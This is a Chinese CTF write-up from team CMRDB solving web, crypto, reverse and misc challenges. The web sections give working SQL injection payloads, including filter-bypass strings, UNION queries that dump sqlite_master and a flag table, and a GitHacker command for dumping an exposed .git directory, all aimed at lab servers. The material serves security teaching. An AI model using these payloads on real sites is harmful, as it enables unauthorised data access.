# QQ ㄋㄟㄋㄟ好打到咩噗CTF - 靜宜 write-up ###### tags: `CMRDB` `CTF` `Security` [TOC] ## 靜宜 - Web ### 🐘 題目敘述:PHP is the best language in the world http://swctf.hackersir.org:20003 :::spoiler source code ```php= <?php if (isset($_GET['source'])) { highlight_file(__FILE__); exit(); } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>php🐘</title> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous"> </head> <body> <nav class="navbar navbar-expand-sm navbar-light bg-light"> <a class="navbar-brand" href="#">CMRDB</a> <ul class="navbar-nav mr-auto"> <li class="nav-item active"> <a class="nav-link" href="/">Home<span class="sr-only">(current)</span></a> </li> <li class="nav-item active"> <a class="nav-link" href="/?source=1" target="_blank">Source<span class="sr-only"></span></a> </li> </ul> </nav> <h1 class="text-center mt-3">php🐘</h1> <div class="container mt-5"> <?php include("flag.php"); if (isset($_GET['🐘']) && $_GET['🐘'] != '') { $answer = htmlspecialchars($_GET['🐘']); if (substr(md5("CMRDB" . $answer), 0, 6) == md5("s1885207154a")) { echo '<div class="alert alert-success" role="alert">Success</br> This is your flag: ' . $flag . '</div>'; } else { echo '<div class="alert alert-dark" role="alert">Wrong Answer</div>'; } } else { ?> <div class="alert alert-dark" role="alert"> <?php echo "substr(md5(\"CMRDB\" . \"Your Answer\"), 0, 6) == md5(\"s1885207154a\")</br>"; ?> </div> <form action="/" method="GET"> <div class="form-group"> <label for="InputAnswer">Answer</label> <input name="🐘" type="text" class="form-control" id="InputAnswer" aria-describedby="answerHelp" placeholder="Enter answer"> <small id="answerHelp" class="form-text text-muted">Enter your answer here</small> </div> <button type="submit" class="btn btn-primary">Submit</button> </form> <?php } ?> </div> </body> </html> ``` ::: FLAG:`SWCTF{n0w_u_kn0w_wh@t_15_md5}` #### solution 題目只要讓等式成立就可以獲得解,PHP 弱等於會將 md5() 後 0e 開頭的字轉轉為整數,如果兩邊 md5() 後的開頭都為 0e 答案即為 true,確認後 `s1885207154a` md5() 後的值為 `0e509367213418206700842008763514` ```php= substr(md5("CMRDB" . "Your Answer"), 0, 6) == md5("s1885207154a") ``` 我們只需寫個腳本找出 `md5("CMRDB" . "Your Answer")` 開頭為 0e 的數,提交後就能拿到 flag 了 ```python= import hashlib answer = 0 while True: string = "CMRDB" + str(answer) if hashlib.md5(string.encode()).hexdigest()[:2] == "0e": print("answer:" + str(answer)) break else: answer += 1 ``` ### My first SQL Injection 題目敘述:小明想成為跟 TIM 哥一樣厲害的駭客,正在自學資訊安全,研究完 SQL Injection 後想要小試身手 http://swctf.hackersir.org:20002 :::spoiler source code ```php= <?php include('flag.php'); if ($conn->connect_error) { die("Connection failed: " . $conn->connect_error); } if (isset($_GET['account']) && isset($_GET['password'])) { $account = $_GET['account']; $password = md5($_GET['password']); } $not_good = [' ', 'or', 'and', '--', '#', '/*', '*/']; $account = str_ireplace($not_good, '', $account); $row = (new SQLite3('/db.sqlite3')) ->querySingle("SELECT * FROM users WHERE account = '$account' AND password = '$password'", true); if ($row) { echo $flag; } else { highlight_file(__FILE__); } ``` ::: ![](https://i.imgur.com/BjzjGjv.png) FLAG:`SWCTF{t1i5_i5_th3_r3a1_flag}` #### solution 從題目以及原始碼可以看出是要 SQL Injection ```php= $row = (new SQLite3('/db.sqlite3')) ->querySingle("SELECT * FROM users WHERE account = '$account' AND password = '$password'", true); if ($row) { echo $flag; } else { highlight_file(__FILE__); } ``` 並且敏感字元通過 str_ireplace 過濾掉了,要繞過過濾只需要敏感字元在過濾後是正常的就可以 1. 將 `oorr` 輸入過濾後的結果就會是 `or`,以此類推 2. 空格可以使用`/**/`代替,為了迴避過濾所以須改為`//****//` ```php= $not_good = [' ', 'or', 'and', '--', '#', '/*', '*/']; $account = str_ireplace($not_good, '', $account); ``` 整理好 SQL 語法後對敏感字元做修改,輸入後即可得到解 ``` account='or 1=1--&password=test # 攻擊 url account=%27oorr//****//1=1-/*-&password=test # 修改敏感字元 ``` ### Advanced SQL Injection 題目敘述:為了跟上 TIM 哥的腳步,小明持續深入研究 SQL Injection,聽說有種手法是利用 Union 作攻擊 http://swctf.hackersir.org:20000 :::spoiler source code ```php= <?php if (isset($_GET['source'])) { highlight_file(__FILE__); exit(); } if (isset($_GET['action']) && $_GET['action'] == 'logout') { setcookie("userinfo", "", time() - 3600); die("<script>window.location.replace('/');</script>"); } else if (isset($_POST['account']) && isset($_POST['password'])) { $account = $_POST['account']; $password = md5($_POST['password']); setcookie("userinfo", json_encode($row), time() + 3600 * 24, "/"); $row = (new SQLite3('/db.sqlite3')) ->querySingle("SELECT * FROM users WHERE account = '$account' AND password = '$password'", true); if (!$row) { $error = "Login Fail"; } else { setcookie("userinfo", json_encode($row), time() + 3600 * 24, "/"); die("<script>window.location.replace('/');</script>"); } } $user = json_decode($_COOKIE['userinfo']); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>SQL Injection</title> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous"> </head> <body class="bg-white"> <nav class="navbar navbar-expand-sm navbar-light bg-light"> <a class="navbar-brand" href="#">CMRDB</a> <ul class="navbar-nav mr-auto"> <li class="nav-item active"> <a class="nav-link" href="/">Home<span class="sr-only">(current)</span></a> </li> <li class="nav-item"> <a class="nav-link" href="/?source=1" target="_blank">Source<span class="sr-only"></span></a> </li> <?php if ($user) { ?> <li class="nav-item"> <a class="nav-link" href="/?action=logout">logout<span class="sr-only"></span></a> </li> <?php } ?> </ul> </nav> <div class="container"> <h1 class="text-center mb-3 mt-3">Advanced SQL Injection</h1> <?php if (!$user) { ?> <!-- account = admin & password = admin --> <form method="POST"> <div class="form-group"> <label for="Account">Account</label> <input type="text" class="form-control" id="Account" name="account"> </div> <div class="form-group"> <label for="Password">Password</label> <input type="password" class="form-control" id="Password" name="password"> </div> <button type="submit" class="btn btn-primary">Login</button> </form> <?php } else { ?> <div class='alert alert-success' role='alert'> Hi, <?= $user->name ?><br> The flag is in the database. </div> <?php } ?> </div> </body> </html> ``` ::: FLAG:`SWCTF{c0ngratu1ati0n5_u_find_th3_f1ag}` #### solution 題目提示這題為 SQL Union Injection,所以首先先從猜測表格數開始,落欄位不同則會跳出錯誤,可以得知欄位數有4格,且第二格會顯示在畫面上 ``` # 欄位數量猜測 account=' union select 1-- account=' union select 1,2-- account=' union select 1,2,3-- account=' union select 1,2,3,4-- ``` ![](https://i.imgur.com/TIVaOyY.png) 接下來將系統表 union 出來,從原始碼可以得知 database 為 sqlite,所以系統表明稱為 `sqlite_master`,我們先將 sqlite_master 的 sql 欄位顯示出來,可以得知有個叫做 flag 的 table,裡面有 flag 的欄位 > 可以使用 group_concat() 將資料合成一筆一次顯示[color=red] ``` 注入 account=' union select 1,(select group_concat(sql) from sqlite_master),3,4-- # 輸出 Hi, CREATE TABLE users ( id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT, account TEXT, password TEXT ),CREATE TABLE sqlite_sequence(name,seq),CREATE TABLE flag ( id INTEGER PRIMARY KEY AUTOINCREMENT, flag TEXT ) The flag is in the database. ``` 將 flag union 出來,使用上一步相同方法,就可以獲得 flag 了 ``` 注入 account=' union select 1,(select group_concat(flag) from flag),3,4-- # 輸出 Hi, you are close,you are more closer,almost there,SWCTF{c0ngratu1ati0n5_u_find_th3_f1ag} The flag is in the database. ``` ### Git 題目敘述:小明為了學習網頁安全,正在學習如何撰寫網頁,並且使用工程師必備工具 git 做版本控管。 http://swctf.hackersir.org:20001 FLAG:`SWCTF{g1t_13ak_15_easy}` #### solution 1. 查看 /.git/HEAD 是否能夠讀取 2. 利用 [GitHacker](https://github.com/WangYihang/GitHacker) 將 .git dump 下來 `python3 GitHacker.py http://swctf.hackersir.org:20001/.git/` 3. 進入 dump 下來的目錄查看 log,可以看到上個版本的 commit 為 `add flag.txt`,因此要想辦法倒回上個版本 ``` git log --oneline 8266d82 (HEAD -> master) add my first website page and delete flag.txt aa54633 add flag.txt ``` 4. 倒回上個版本方法很多,可以使用`git checkout aa54633`直接查看,也可以用`git reset HEAD^`後用`git diff`查看 5. 只後只要查看 flag.txt 就獲得 flag 了 ## 靜宜 - Crypto ### NOKIA 3310 題目敘述:你知道如何使用手機傳簡訊嗎? FLAG:`SWCTF{nokiaisaspecialmyththatyouknow}` #### solution 1. 先把數字兩兩一組 2. 打開手機撥打電話的介面,對照數字鍵盤 :::spoiler 展開有圖可對照 ![](https://i.imgur.com/n2w2fiC.png) ::: ![](https://i.imgur.com/jSRzEck.png) 3. 所獲字串為解答 Flag ### Let’s Dance 題目敘述:福爾摩斯將訊息進行字母替換並使用某次案件的暗號,將其與助手共享。在此次案件中福爾摩斯的助手在一張紙上留下訊息暗號。 ![](https://i.imgur.com/2fx3x1o.png) FLAG:`SWCTF{the_murderer_is_the_author}` #### solution 1. 搜尋圖片中小人可以得知與其對應的英文字母 ![](https://i.imgur.com/GuMvO3O.png) 2. 對照後獲得 `gur_zheqrere_vf_gur_nhgube` 3. 根據題目訊息得知福爾摩斯還將字母進行替換,所以上一步所獲得的內容並非所求。因此丟入與替換位移相關加密法進行嘗試。 Caesar : 位移13位,可獲得有意義的字串。 ROT13 : 可直接得到有意義的字串。 4. 所獲字串為解答 Flag ### 天雨粟 鬼夜哭 題目敘述:小邪手中握著三叔留給他的訊息,看著爺爺書櫃裡的《淮南子》、《說文解字》、《呂氏春秋》、《荀子》、《韓非子》、《大正藏》被擺放的十分整齊,回想著三叔說過的話:「這些書裡紀錄了一位你爺爺的非常尊敬的人,他和文昌帝君有所關聯。這張紙上除了我們現代的編譯還用了因那位人物所衍伸出的智慧,我相信小邪一定可以破解。」 紙條內容:BJ4X06T/65K3DK3QU/6VUP45J/U6FU,4U6C04 FLAG:`SWCTF{OHMBWGIHSJKAMNRMFJPLMPSHYLMCPIRP}` #### solution 1. 綜合題目中所述的幾本書、題目名稱皆有提到的人物是倉頡。與文昌帝君有所連結的部分為兩人誕辰同日,且通常會被人們恭奉於同一間廟宇。 2. 倉頡輸入法之所以命名為倉頡正是因為發明者向倉頡致敬,因此將輸入法命名為倉頡。 3. 現代的編譯其實是用電腦鍵盤對照產生,因此紙條內容的中文是 ``` 入雷城者可平心中一切遺憾 ``` 4. 將文字查找對應倉頡輸入法,並轉換成英文 ![](https://i.imgur.com/MGZm747.png) ### Prison life 題目敘述:或許學會如何與囚犯溝通也很重要。(皆為小寫) ``` ..... .... .. .... ..... .... .... ..... . ..... .. ..... .. .... . .... .. .... ... ... .. .. ..... .. . . ... ... .... ... .. ... . . ... ... ..... .. .... ..... ..... ..... .... ..... ``` FLAG:`SWCTF{yiyuejidingwanshanwuzu}` solution: 典型敲擊碼,將點依照空白分兩個一組,後對照表格先列後欄,即可獲得 Flag ![](https://i.imgur.com/VmH2kBZ.png) ### A letter 題目敘述:嘿!你還記得我們第一次見面你告訴我的「不可破譯的密碼」嗎?這次我把關鍵內容放在這首詩裡,或許你能夠解讀出我想告訴你的話。 ![](https://i.imgur.com/fpljmHK.jpg) FLAG:`SWCTF{Information_Security_is_as_extensive_and_profound_as_Chinese}` #### solution 1. 「不可破譯的密碼」 => Vigenère cipher 2. key 在詩中(轉成英文,答案在左上角) ![](https://i.imgur.com/jWpzKW9.jpg) 4. 將上方字串與 key 使用 Vigenère cipher 對照 5. 所獲字串為解答 Flag ### MOS 題目敘述:你工作上的前輩要離職了 前輩在把工作交接給你的時候把有加密的USB和兩串摩斯密碼給你 「這裡面有我們珍藏的片子,去解開它,然後傳承下去!!」 1. 請轉成大寫 2. 第二行為key 3. %u7b為"{" 4. %u7d為"}" FLAG:SWCTF{Q1KIUIO0R6FSVQ@7FHUS} solution: 1. 到這個網站 http://ctf.ssleye.com/ 解開摩斯密碼 `lvezy%u7bj1aoxog0k6ylcj@7yixl%u7d` `qwertyuiopasdfghjklzxcvbnm` 得出這兩組密碼 2. 將%u7b替換為"{" 將%u7d替換為"{" 得lvezy{j1aoxog0k6ylcj@7yixl} 3. 用簡單換為密碼解開 得swctf{q1kiuio0r6fsvq@7fhus} 轉換成大寫 ### Historic Site Tour 題目敘述:還記得曾經說過要介紹家鄉的古蹟給你,但一直沒機會,不如就用這次機會讓你自己走一遭吧!我把他們的座標給你,期待你把這些重要的古蹟找出來!(若是英文則皆為小寫) ![](https://i.imgur.com/gTxoWj6.jpg) FLAG:`SWCTF{hsinchustation_yingximen_hsinchumunicipalgovernmenthall_hsinchucitygodtemple}` #### solution 1. 依據題目可得知圖片內容為四個座標 2. 將內容根據羅盤轉為數字,以三為例: ![](https://i.imgur.com/Xc2fvfH.png) 3. 將得到之座標放進 Google 搜尋,可獲得: 24.801606, 120.97161 (火車站 Hsinchu Station) 24.804212,120.970199 (迎曦門 Yingximen) 24.806708,120.968824 (新竹州廳 Hsinchu Municipal Government Hall) 24.804453,120.966066 (城隍廟 Hsinchu City God Temple) 4. 將四個地點的英文串聯,中間以底線(_)相連,獲得 Flag ## 靜宜 - Reverse ### easy reverse 題目敘述:無 FLAG:`SWCTF{fm42kb1.gvf}` #### solution 1. 打開靜態逆向ida pro 2. 可從程式流程圖中發現print flag的程式碼 3. ![](https://i.imgur.com/6NvWZvm.png) ## 靜宜 - MISC ### PNG 題目敘述:你所在的部隊規定傳達訊息時,必須隱藏在圖片中 而傳送圖片的過程中因不明原因損毀 請嘗試修復並找出訊息 FLAG:`SWCTF{QTQi3NcgqFcB5RJNvyqe}` #### solution 1. 用16進位法打開檔案 png修復檔案標示 89 50 4E 47 0D 0A 1A 0A 修復IHDR 49 48 44 52 修復IDAT 49 44 41 54 2. 修改附檔名.png 如有顯示圖片表示成功 3. 到這個網站 https://stylesuxx.github.io/steganography/ 解碼後可得 flag